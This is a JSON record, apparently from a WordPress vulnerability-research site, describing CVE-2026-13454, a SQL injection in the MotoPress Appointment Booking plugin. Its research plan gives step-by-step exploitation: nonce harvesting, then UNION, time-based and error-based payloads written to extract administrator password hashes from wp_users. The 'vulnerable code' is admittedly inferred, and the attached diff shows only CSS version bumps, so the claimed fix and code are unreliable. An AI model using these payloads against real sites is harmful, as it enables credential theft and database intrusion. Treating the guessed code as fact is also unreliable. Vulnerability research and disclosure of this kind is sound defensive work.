[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fahJr47-L-iTOHTeSKTm6VISMEtT09Cz6ddRZW9CXe-Q":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-13454","motopress-appointment-booking-authenticated-staff-sql-injection-via-s-parameter","MotoPress Appointment Booking \u003C= 2.4.5 - Authenticated (Staff+) SQL Injection via 's' Parameter","The MotoPress Appointment Booking plugin for WordPress is vulnerable to generic SQL Injection via the 's' parameter in all versions up to, and including, 2.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the mpa_appointment_employee custom role, meaning any user assigned this role can perform the attack.","motopress-appointment-lite",null,"\u003C=2.4.5","2.4.6","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-06-30 20:06:16","2026-07-01 08:30:04",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F64e4d51a-7b65-4fba-9742-bc7d23f46f8d?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Fadmin.css","assets\u002Fcss\u002Fadmin.min.css","assets\u002Fcss\u002Fedit-category.css","assets\u002Fcss\u002Fedit-category.min.css","assets\u002Fcss\u002Fedit-post.css","assets\u002Fcss\u002Fedit-post.min.css","assets\u002Fcss\u002Fmanage-posts.css","assets\u002Fcss\u002Fmanage-posts.min.css","researched",false,3,"This research plan outlines the technical analysis and exploitation methodology for **CVE-2026-13454**, a SQL Injection vulnerability in the MotoPress Appointment Booking plugin.\n\n---\n\n### 1. Vulnerability Summary\nThe MotoPress Appointment Booking plugin (versions \u003C= 2.4.5) contains an authenticated SQL injection vulnerability within its administrative search functionality. The vulnerability resides in the handling of the `s` (search) parameter. The plugin fails to properly escape this parameter before incorporating it into a raw SQL query or uses `$wpdb->prepare()` incorrectly, allowing users with the `mpa_appointment_employee` (Staff) role or higher to inject arbitrary SQL commands and extract sensitive data from the WordPress database.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php` (for AJAX-based list tables) or `\u002Fwp-admin\u002Fadmin.php?page=...` (for standard list tables).\n*   **Vulnerable Parameter:** `s` (standard WordPress search parameter).\n*   **Authentication Required:** Authenticated user with the `mpa_appointment_employee` role or any role with access to the Appointments\u002FCustomers\u002FEmployees management pages.\n*   **Preconditions:** \n    *   The plugin must be active.\n    *   The attacker must have a valid session with a user possessing the `mpa_appointment_employee` role.\n    *   At least one record (Customer, Booking, or Employee) should exist to ensure the query executes and returns results.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** An authenticated user accesses a list page (e.g., Customers) and submits a search query via the `s` parameter.\n2.  **Request Handling:** The request is processed by a class responsible for displaying entity tables, likely a subclass of `WP_List_Table` or a custom AJAX handler (e.g., `MPA\\Admin\\ListTables\\CustomersListTable` - inferred).\n3.  **Query Construction:** The code retrieves the search term: `$search_term = $_REQUEST['s'];`.\n4.  **SQL Sink:** The `$search_term` is concatenated directly into a SQL string:\n    ```php\n    \u002F\u002F Example of vulnerable pattern\n    $query = \"SELECT * FROM {$wpdb->prefix}mpa_customers WHERE first_name LIKE '%\" . $search_term . \"%'\";\n    $results = $wpdb->get_results($query);\n    ```\n5.  **Execution:** The `$wpdb->get_results()` call executes the malicious payload.\n\n### 4. Nonce Acquisition Strategy\nWhile the `s` parameter in standard WordPress search boxes often doesn't require a nonce for the query itself, the administrative pages containing these search boxes are protected by WordPress authentication. If the search is performed via AJAX, a nonce is likely required.\n\n**Steps to obtain the nonce:**\n1.  **Identify Shortcode\u002FPage:** The \"Customers\" or \"Appointments\" admin pages are the most likely targets.\n2.  **Navigate to Admin Page:** Use the `browser_navigate` tool to access the MotoPress Appointment \"Customers\" page (e.g., `\u002Fwp-admin\u002Fadmin.php?page=mpa-customers`).\n3.  **Extract Nonce:** MotoPress plugins typically localize script data. Look for a global JavaScript object containing nonces.\n    *   **Inferred Variable Name:** `mpa_admin_data` or `mpa_settings`.\n    *   **Inferred Nonce Key:** `nonce` or `ajax_nonce`.\n    *   **Command:** `browser_eval(\"window.mpa_admin_data?.nonce\")`\n4.  **Bypass Check:** If `wp_verify_nonce($nonce, -1)` is used (default action), any valid nonce obtained from the admin dashboard may suffice.\n\n### 5. Exploitation Strategy\nWe will use a **UNION-based** approach to extract the administrator's password hash.\n\n**Step 1: Determine Column Count**\nSubmit payloads to find the number of columns in the original query's `SELECT` statement.\n*   **Request:** `POST \u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Body:** `action=mpa_get_customers&s=test' ORDER BY 1-- -&nonce=[NONCE]`\n*   Increment the number until an error occurs (e.g., `ORDER BY 10`).\n\n**Step 2: Identify Output Columns**\nUse `UNION SELECT` with identifiable strings to see which columns are rendered in the HTML table or JSON response.\n*   **Payload:** `s=test' UNION SELECT 'col1','col2','col3','col4','col5'-- -`\n\n**Step 3: Data Extraction (Admin Hash)**\nOnce the reflected column is found (e.g., column 2), extract the admin hash.\n*   **Payload:** `s=test' UNION SELECT 1,user_pass,3,4,5 FROM wp_users WHERE ID=1-- -`\n\n**HTTP Request Template (via `http_request`):**\n```json\n{\n  \"method\": \"POST\",\n  \"url\": \"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\",\n  \"headers\": {\n    \"Content-Type\": \"application\u002Fx-www-form-urlencoded\",\n    \"Cookie\": \"[STAFF_USER_COOKIES]\"\n  },\n  \"params\": {\n    \"action\": \"mpa_get_customers\",\n    \"s\": \"x' UNION SELECT 1,CONCAT(0x7e,user_login,0x3a,user_pass,0x7e),3,4,5 FROM wp_users-- -\",\n    \"nonce\": \"[NONCE]\"\n  }\n}\n```\n\n### 6. Test Data Setup\n1.  **Create Staff User:**\n    ```bash\n    wp role create mpa_appointment_employee \"Appointment Employee\"\n    wp user create staff staff@example.com --role=mpa_appointment_employee --user_pass=password123\n    ```\n    *Note: The plugin usually creates this role automatically; if not, assign standard \"Contributor\" or \"Author\" and verify permissions.*\n2.  **Add Sample Data:**\n    Ensure at least one customer exists so the list table isn't empty.\n    ```bash\n    # (Example using wp-cli to insert directly if plugin tables are known)\n    # wp db query \"INSERT INTO wp_mpa_customers (first_name, last_name) VALUES ('Test', 'User');\"\n    ```\n\n### 7. Expected Results\n*   **Success:** The response (JSON or HTML) will contain the leaked data (e.g., `~admin:$P$B...~`) instead of a customer name.\n*   **Failure:** The response returns a standard \"No items found\" message or a database error if the column count is mismatched.\n\n### 8. Verification Steps\nAfter the HTTP request, verify the leaked data matches the database:\n1.  **Retrieve Actual Hash:**\n    ```bash\n    wp user get 1 --field=user_pass\n    ```\n2.  **Compare:** Match the hash obtained via SQL injection with the output of the `wp user get` command.\n\n### 9. Alternative Approaches\n*   **Time-Based Blind SQLi:** If the results of the `UNION` are not reflected in the UI, use `SLEEP()` to extract data bit-by-bit.\n    *   **Payload:** `s=test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`\n*   **Error-Based SQLi:** If `WP_DEBUG` is enabled, use `updatexml()` or `extractvalue()` to force the hash into the error message.\n    *   **Payload:** `s=test' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)-- -`","The MotoPress Appointment Booking plugin (\u003C= 2.4.5) is vulnerable to authenticated SQL Injection via the 's' search parameter in administrative list tables. This allows attackers with the 'mpa_appointment_employee' (Staff) role to execute arbitrary SQL queries and extract sensitive information like administrator password hashes from the database.","\u002F\u002F Inferred from Research Plan; likely located in MPA\\Admin\\ListTables\\CustomersListTable\n$search_term = $_REQUEST['s'];\n\n\u002F\u002F Example of vulnerable pattern\n$query = \"SELECT * FROM {$wpdb->prefix}mpa_customers WHERE first_name LIKE '%\" . $search_term . \"%'\";\n$results = $wpdb->get_results($query);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fadmin.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fadmin.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fadmin.css\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fadmin.css\t2026-06-30 15:16:08.000000000 +0000\n@@ -15,7 +15,7 @@\n   left: 0;\n   width: 100%;\n   height: 100%;\n-  background: no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.5\"), rgba(255, 255, 255, 0.5);\n+  background: no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.6\"), rgba(255, 255, 255, 0.5);\n   background-size: 32px 32px;\n   z-index: 9000;\n }\n@@ -58,7 +58,7 @@\n   display: inline-block;\n   width: 20px;\n   height: 20px;\n-  background: no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.5\");\n+  background: no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.6\");\n }\n \n .mpa-table th {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fadmin.min.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fadmin.min.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fadmin.min.css\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fadmin.min.css\t2026-06-30 15:16:08.000000000 +0000\n@@ -1 +1 @@\n-.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.5\"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.5\")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.wp-core-ui .icon-button{display:flex;align-items:center;padding:5px}.wrap h2.wp-heading-inline{display:inline-block;margin-right:5px;margin-bottom:.25em}.wrap h2.wp-heading-inline+.page-title-action{top:-1px}#poststuff h2.mpa-fields-group-title{font-size:1.3em;line-height:1.3;font-weight:600;margin:1em 0;padding:0}.mpa-page-top-menu{display:flex;flex-wrap:wrap}.mpa-page-top-menu .mpa-page-top-menu_button{display:flex !important;align-items:center !important;margin-right:5px !important}.iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags.png\")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags@2x.png\")}}.mpa-checkout-form .iti{width:100%}.mpa-phone-number--invalid{border-color:red;color:red}.mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}#shortcodes-wrap table .column-default{width:10%}.mpa-extensions{display:flex;flex-flow:row wrap;max-width:1640px}.mpa-extensions .mpa-extension{background:#fff;border:1px solid #ddd;margin:0 20px 20px 0;max-width:300px;display:flex;flex-direction:column}.mpa-extensions .mpa-extension .mpa-extension-content{display:flex;flex-direction:column;flex:1 0 auto;align-items:flex-start;padding:2em;height:auto}.mpa-extensions .mpa-extension .mpa-extension-title{font-size:14px}.mpa-extensions .mpa-extension .mpa-extension-title a{text-decoration:none}.mpa-extensions .mpa-extension .mpa-extension-title,.mpa-extensions .mpa-extension .mpa-extension-excerpt{margin-top:0}.mpa-extensions .mpa-extension .mpa-extension-thumbnail{max-width:100%;max-height:220px;width:100%;object-fit:cover;object-position:top}.mpa-extensions .mpa-extension .mpa-extension-link{margin-top:auto}.appointments_page_mpa_customers .wp-list-table.customers .column-bookings{width:100px}.appointments_page_mpa_customers .wp-list-table.customers .column-phone,.appointments_page_mpa_customers .wp-list-table.customers .column-date_registered,.appointments_page_mpa_customers .wp-list-table.customers .column-last_active{width:150px}\n\\ No newline at end of file\n+.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.6\"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.6\")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.wp-core-ui .icon-button{display:flex;align-items:center;padding:5px}.wrap h2.wp-heading-inline{display:inline-block;margin-right:5px;margin-bottom:.25em}.wrap h2.wp-heading-inline+.page-title-action{top:-1px}#poststuff h2.mpa-fields-group-title{font-size:1.3em;line-height:1.3;font-weight:600;margin:1em 0;padding:0}.mpa-page-top-menu{display:flex;flex-wrap:wrap}.mpa-page-top-menu .mpa-page-top-menu_button{display:flex !important;align-items:center !important;margin-right:5px !important}.iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags.png\")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags@2x.png\")}}.mpa-checkout-form .iti{width:100%}.mpa-phone-number--invalid{border-color:red;color:red}.mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}#shortcodes-wrap table .column-default{width:10%}.mpa-extensions{display:flex;flex-flow:row wrap;max-width:1640px}.mpa-extensions .mpa-extension{background:#fff;border:1px solid #ddd;margin:0 20px 20px 0;max-width:300px;display:flex;flex-direction:column}.mpa-extensions .mpa-extension .mpa-extension-content{display:flex;flex-direction:column;flex:1 0 auto;align-items:flex-start;padding:2em;height:auto}.mpa-extensions .mpa-extension .mpa-extension-title{font-size:14px}.mpa-extensions .mpa-extension .mpa-extension-title a{text-decoration:none}.mpa-extensions .mpa-extension .mpa-extension-title,.mpa-extensions .mpa-extension .mpa-extension-excerpt{margin-top:0}.mpa-extensions .mpa-extension .mpa-extension-thumbnail{max-width:100%;max-height:220px;width:100%;object-fit:cover;object-position:top}.mpa-extensions .mpa-extension .mpa-extension-link{margin-top:auto}.appointments_page_mpa_customers .wp-list-table.customers .column-bookings{width:100px}.appointments_page_mpa_customers .wp-list-table.customers .column-phone,.appointments_page_mpa_customers .wp-list-table.customers .column-date_registered,.appointments_page_mpa_customers .wp-list-table.customers .column-last_active{width:150px}\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fedit-category.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fedit-category.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fedit-category.css\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fedit-category.css\t2026-06-30 15:16:08.000000000 +0000\n@@ -15,7 +15,7 @@\n   left: 0;\n   width: 100%;\n   height: 100%;\n-  background: no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.5\"), rgba(255, 255, 255, 0.5);\n+  background: no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.6\"), rgba(255, 255, 255, 0.5);\n   background-size: 32px 32px;\n   z-index: 9000;\n }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fedit-category.min.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fedit-category.min.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fedit-category.min.css\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fedit-category.min.css\t2026-06-30 15:16:08.000000000 +0000\n@@ -1 +1 @@\n-.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.5\"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-media-ctrl img{max-width:100%;cursor:pointer}.mpa-media-ctrl img.single-image-control{max-width:300px}\n\\ No newline at end of file\n+.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.6\"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-media-ctrl img{max-width:100%;cursor:pointer}.mpa-media-ctrl img.single-image-control{max-width:300px}\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fedit-post.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fedit-post.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fedit-post.css\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fedit-post.css\t2026-06-30 15:16:08.000000000 +0000\n@@ -38,7 +38,7 @@\n   left: 0;\n   width: 100%;\n   height: 100%;\n-  background: no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.5\"), rgba(255, 255, 255, 0.5);\n+  background: no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.6\"), rgba(255, 255, 255, 0.5);\n   background-size: 32px 32px;\n   z-index: 9000;\n }\n@@ -81,7 +81,7 @@\n   display: inline-block;\n   width: 20px;\n   height: 20px;\n-  background: no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.5\");\n+  background: no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.6\");\n }\n \n .mpa-table th {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fedit-post.min.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fedit-post.min.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fcss\u002Fedit-post.min.css\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fcss\u002Fedit-post.min.css\t2026-06-30 15:16:08.000000000 +0000\n@@ -1 +1 @@\n-.wp-core-ui .icon-button{display:flex;align-items:center;padding:5px}.wrap h2.wp-heading-inline{display:inline-block;margin-right:5px;margin-bottom:.25em}.wrap h2.wp-heading-inline+.page-title-action{top:-1px}#poststuff h2.mpa-fields-group-title{font-size:1.3em;line-height:1.3;font-weight:600;margin:1em 0;padding:0}.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.5\"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.5\")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.mpa_tooltip{position:relative;display:inline-block}.mpa_tooltip:hover:after{content:attr(data-tooltip);position:absolute;bottom:calc(100% + 5px);left:0;font-size:10px;white-space:nowrap;background:#333;color:#fff;padding:3px 6px;border-radius:2px;z-index:9999;pointer-events:none;opacity:0;transition:opacity .1s;visibility:hidden}.mpa_tooltip:hover:before{content:\"\";position:absolute;bottom:100%;left:50%;transform:translateX(-50%) translateY(5px);border-width:5px;border-style:solid;border-color:#333 rgba(0,0,0,0) rgba(0,0,0,0) rgba(0,0,0,0);z-index:9999;pointer-events:none}.mpa_tooltip:hover:after,.mpa_tooltip:hover:before{opacity:1;visibility:visible}.mpa-dropdown{position:relative}.mpa-dropdown.page-title-dropdown{display:inline-block;position:relative;top:-8px;margin-left:0;font-weight:600;font-size:13px;line-height:normal}.mpa-dropdown .dropdown-toggle{min-height:28px;line-height:normal}.mpa-dropdown .dropdown-toggle::after{content:\"\";display:inline-block;width:0;height:0;margin-left:.35em;vertical-align:.15em;border-top:.45em solid;border-right:.35em solid rgba(0,0,0,0);border-bottom:0;border-left:.35em solid rgba(0,0,0,0)}.mpa-dropdown .dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.mpa-dropdown .dropdown-menu.show{display:block}.mpa-dropdown .dropdown-item{display:block;box-sizing:border-box;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;text-align:inherit;text-decoration:none;white-space:nowrap;background-color:rgba(0,0,0,0);border:0}.mpa-dropdown .dropdown-item:hover{background-color:#f8f9fa}.mpa-attributes-ctrl table .column-actions{width:5%}.mpa-attributes-ctrl .mpa-remove-button{cursor:pointer}.mpa-custom-workdays-ctrl table .column-actions{width:20%;text-align:center}.mpa-days-off-ctrl table .column-actions{width:20%;text-align:center}.mpa-edit-reservations-ctrl{display:flex;flex-wrap:wrap;position:relative}.mpa-edit-reservations-ctrl:not(.mpa-loaded),.mpa-edit-reservations-ctrl .mpa-booking-step:not(.mpa-loaded){min-height:52px;position:relative}.mpa-edit-reservations-ctrl label,.mpa-edit-reservations-ctrl select,.mpa-edit-reservations-ctrl input[type=text],.mpa-edit-reservations-ctrl input[type=email],.mpa-edit-reservations-ctrl input[type=tel]{width:100%}.mpa-edit-reservations-ctrl select,.mpa-edit-reservations-ctrl input[type=text],.mpa-edit-reservations-ctrl input[type=email],.mpa-edit-reservations-ctrl input[type=tel]{display:block}.mpa-edit-reservations-ctrl .mpa-message{width:100%}.mpa-edit-reservations-ctrl .mpa-actions{margin-top:1.5em}.mpa-edit-reservations-ctrl .mpa-booking-step{width:100%}.mpa-edit-reservations-ctrl .mpa-booking-step{width:100%}.mpa-edit-reservations-ctrl .mpa-booking-step .mpa-actions{margin-top:1em}.mpa-edit-reservations-ctrl .mpa-booking-step-service-form{max-width:100%}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-service-form{width:50%}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container{display:flex;flex-wrap:wrap;margin:0 -10px}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container{flex-wrap:nowrap}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{width:auto}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{padding:0 10px}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:20px}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:0}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-date-wrapper:not(.mpa-loaded){position:relative}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar{margin:0 0 0 1px;top:0;box-shadow:1px 0 0 #e6e6e6,-1px 0 0 #e6e6e6,0 1px 0 #e6e6e6,0 -1px 0 #e6e6e6,0 0 0 rgba(0,0,0,.08)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .prevMonthDay.flatpickr-disabled,.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .nextMonthDay.flatpickr-disabled{opacity:0;cursor:default}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .cur-month,.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .numInputWrapper{pointer-events:none}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-days,.mpa-edit-reservations-ctrl .mpa-booking-step-period .dayContainer{width:100%;max-width:100%;min-width:100%}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-day{max-width:39px;height:39px;line-height:39px}.mpa-edit-reservations-ctrl 